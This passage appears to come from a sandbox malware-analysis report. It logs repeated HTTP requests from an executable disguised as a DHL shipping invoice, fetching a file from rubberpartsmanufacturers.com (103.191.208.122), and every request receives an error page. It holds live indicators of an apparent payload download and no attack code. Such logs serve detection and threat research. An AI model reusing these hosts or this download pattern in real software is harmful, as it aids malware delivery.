2024-10-17 08:48:29 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:29 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:29 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	57067	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:31 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:31 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:31 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:31 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	57068	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:32 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:33 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:33 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:33 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	57069	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:34 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:34 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:34 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:34 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	57070	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:35 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:36 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:35 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:36 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	57071	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:37 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:37 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:37 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:37 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	57072	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:38 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:39 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:38 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:39 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	57073	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:40 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:40 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:40 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:40 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	57074	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:41 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:42 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:41 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:42 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	57076	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:44 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:44 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:44 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:44 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	57077	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:45 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:45 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:45 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:45 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	57078	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:47 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:47 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:47 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:47 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	57079	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:48 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:48 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:48 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:48 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	57080	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:50 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:50 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:50 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:50 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	57081	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:51 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:51 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:51 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:51 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	57084	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
